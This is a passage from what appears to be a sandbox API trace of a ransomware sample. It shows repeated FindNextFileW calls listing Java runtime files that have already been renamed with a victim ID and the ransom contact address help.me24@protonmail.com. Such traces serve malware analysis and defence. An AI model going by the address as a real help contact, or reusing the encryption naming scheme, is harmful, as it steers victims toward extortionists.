	[0189.701] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x429c6fa7, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x429c6fa7, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x42a13376, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x2db3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="fxplugins.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="FXPLUG~1.Z9")) returned 1
	[0189.701] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42a13376, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x42a13376, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x42a397ac, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x40f36, dwReserved0=0x0, dwReserved1=0x0, cFileName="glass.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="GLASSD~1.Z9")) returned 1
	[0189.701] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42aad9c6, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x42aad9c6, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x42afab2f, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x6f53e, dwReserved0=0x0, dwReserved1=0x0, cFileName="glib-lite.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="GLIB-L~1.Z9")) returned 1
	[0189.701] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42c85ff9, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x42c85ff9, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x42d1e8e9, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x97548, dwReserved0=0x0, dwReserved1=0x0, cFileName="gstreamer-lite.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="GSTREA~1.Z9")) returned 1
	[0189.701] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42cd24ad, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x42cd24ad, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x42d44b1a, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x26b36, dwReserved0=0x0, dwReserved1=0x0, cFileName="hprof.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="HPROFD~1.Z9")) returned 1
	[0189.701] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42cd24ad, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x42cd24ad, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x42d44b1a, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x1e340, dwReserved0=0x0, dwReserved1=0x0, cFileName="instrument.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="INSTRU~1.Z9")) returned 1
	[0189.702] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42d44b1a, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x42d44b1a, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x42d6ad19, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4b38, dwReserved0=0x0, dwReserved1=0x0, cFileName="j2pcsc.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="J2PCSC~1.Z9")) returned 1
	[0189.702] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42d6ad19, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x42d6ad19, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x42d6ad19, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xf93c, dwReserved0=0x0, dwReserved1=0x0, cFileName="j2pkcs11.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="J2PKCS~1.Z9")) returned 1
	[0189.702] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42d6ad19, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x42d6ad19, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x42db7239, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x533a, dwReserved0=0x0, dwReserved1=0x0, cFileName="jaas_nt.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="JAAS_N~1.Z9")) returned 1
	[0189.702] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42d910d4, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x42d910d4, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x42d910d4, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x873e, dwReserved0=0x0, dwReserved1=0x0, cFileName="jabswitch.exe.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="JABSWI~1.Z9")) returned 1
	[0189.702] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42d910d4, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x42d910d4, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x42db7239, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x3f3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="java-rmi.exe.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="JAVA-R~1.Z9")) returned 1
	[0189.702] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42db7239, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x42db7239, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x42ddd467, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x27134, dwReserved0=0x0, dwReserved1=0x0, cFileName="java.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="JAVADL~1.Z9")) returned 1
	[0189.702] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42db7239, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x42db7239, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x42f349e0, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x32934, dwReserved0=0x0, dwReserved1=0x0, cFileName="java.exe.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="JAVAEX~1.Z9")) returned 1
	[0189.702] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42ddd467, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x42ddd467, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x42f0e996, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x22d52, dwReserved0=0x0, dwReserved1=0x0, cFileName="JavaAccessBridge-64.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="JAVAAC~1.Z9")) returned 1
	[0189.703] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42ee85fd, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x42ee85fd, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x42f0e996, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x2dcfa, dwReserved0=0x0, dwReserved1=0x0, cFileName="javacpl.cpl.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="JAVACP~1.Z9")) returned 1
	[0189.703] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42f0e996, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x42f0e996, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x42f349e0, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x13b3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="javacpl.exe.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="JAVACP~2.Z9")) returned 1
	[0189.703] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42f349e0, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x42f349e0, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x42f5abe0, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x10f42, dwReserved0=0x0, dwReserved1=0x0, cFileName="javafx_font.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="JAVAFX~1.Z9")) returned 1
	[0189.703] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42f349e0, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x42f349e0, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x4314aab7, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x8374a, dwReserved0=0x0, dwReserved1=0x0, cFileName="javafx_font_t2k.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="JAVAFX~2.Z9")) returned 1
	[0189.703] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42f5abe0, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x42f5abe0, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x42fb7f22, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x1f540, dwReserved0=0x0, dwReserved1=0x0, cFileName="javafx_iio.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="JAVAFX~3.Z9")) returned 1
	[0189.703] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42fcd415, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x42fcd415, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x42fcd415, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x32936, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaw.exe.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="JAVAWE~1.Z9")) returned 1
	[0189.703] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42ff35a4, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x42ff35a4, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x4303fa28, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4e138, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaws.exe.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="JAVAWS~1.Z9")) returned 1
	[0189.703] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43065ca7, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x43065ca7, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x43065ca7, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x7546, dwReserved0=0x0, dwReserved1=0x0, cFileName="java_crw_demo.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="JAVA_C~1.Z9")) returned 1
	[0189.704] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4327bd97, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x4327bd97, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x4327bd97, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x3934, dwReserved0=0x0, dwReserved1=0x0, cFileName="jawt.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="JAWTDL~1.Z9")) returned 1
	[0189.704] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43065ca7, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x43065ca7, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x430fe65f, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x3d52, dwReserved0=0x0, dwReserved1=0x0, cFileName="JAWTAccessBridge-64.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="JAWTAC~1.Z9")) returned 1
	[0189.704] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x430fe65f, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x430fe65f, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x431e3394, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x31534, dwReserved0=0x0, dwReserved1=0x0, cFileName="jdwp.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="JDWPDL~1.Z9")) returned 1
	[0189.704] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43209681, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x43209681, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x43504500, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x6932, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfr.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="JFRDLL~1.Z9")) returned 1
	[0189.704] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x431e3394, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x431e3394, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x43209681, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x2233c, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfxmedia.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="JFXMED~1.Z9")) returned 1
	[0189.704] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7511d3f, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7511d3f, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x4365bb26, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x2854b46, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfxwebkit.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="JFXWEB~1.Z9")) returned 1
	[0189.704] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x432a1f52, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x432a1f52, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x43360a95, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x3f32, dwReserved0=0x0, dwReserved1=0x0, cFileName="jjs.exe.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="JJSEXE~1.Z9")) returned 1
	[0189.704] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43360a95, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x43360a95, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x437d9176, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x2ab32, dwReserved0=0x0, dwReserved1=0x0, cFileName="jli.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="JLIDLL~1.Z9")) returned 1
	[0189.704] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43504500, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x43504500, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x436a80bc, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4853a, dwReserved0=0x0, dwReserved1=0x0, cFileName="jp2iexp.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="JP2IEX~1.Z9")) returned 1
	[0189.705] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43504500, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x43504500, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x43681ecb, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x1b742, dwReserved0=0x0, dwReserved1=0x0, cFileName="jp2launcher.exe.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="JP2LAU~1.Z9")) returned 1
	[0189.705] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x436ce11d, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x436ce11d, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x4371a61e, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4f3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="jp2native.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="JP2NAT~1.Z9")) returned 1
	[0189.705] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x436ce11d, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x436ce11d, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x43766c3e, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x39938, dwReserved0=0x0, dwReserved1=0x0, cFileName="jp2ssv.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="JP2SSV~1.Z9")) returned 1
	[0189.705] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x436ce11d, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x436ce11d, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x43740861, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x2d734, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpeg.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="JPEGDL~1.Z9")) returned 1
	[0189.705] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43740861, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x43740861, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x437ff36d, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4934, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsdt.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="JSDTDL~1.Z9")) returned 1
	[0189.705] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x437d9176, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x437d9176, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x43897e02, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x8b38, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsound.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="JSOUND~1.Z9")) returned 1
	[0189.705] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x437ff36d, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x437ff36d, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x438be042, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x7b3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsoundds.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="JSOUND~2.Z9")) returned 1
	[0189.705] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x437ff36d, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x437ff36d, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x43871af3, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x35f34, dwReserved0=0x0, dwReserved1=0x0, cFileName="kcms.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="KCMSDL~1.Z9")) returned 1
	[0189.705] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4382563f, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x4382563f, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x438be042, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x413a, dwReserved0=0x0, dwReserved1=0x0, cFileName="keytool.exe.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="KEYTOO~1.Z9")) returned 1
	[0189.706] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43897e02, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x43897e02, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x4390a3e9, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4136, dwReserved0=0x0, dwReserved1=0x0, cFileName="kinit.exe.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="KINITE~1.Z9")) returned 1
	[0189.706] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43897e02, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x43897e02, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x4393097d, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4136, dwReserved0=0x0, dwReserved1=0x0, cFileName="klist.exe.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="KLISTE~1.Z9")) returned 1
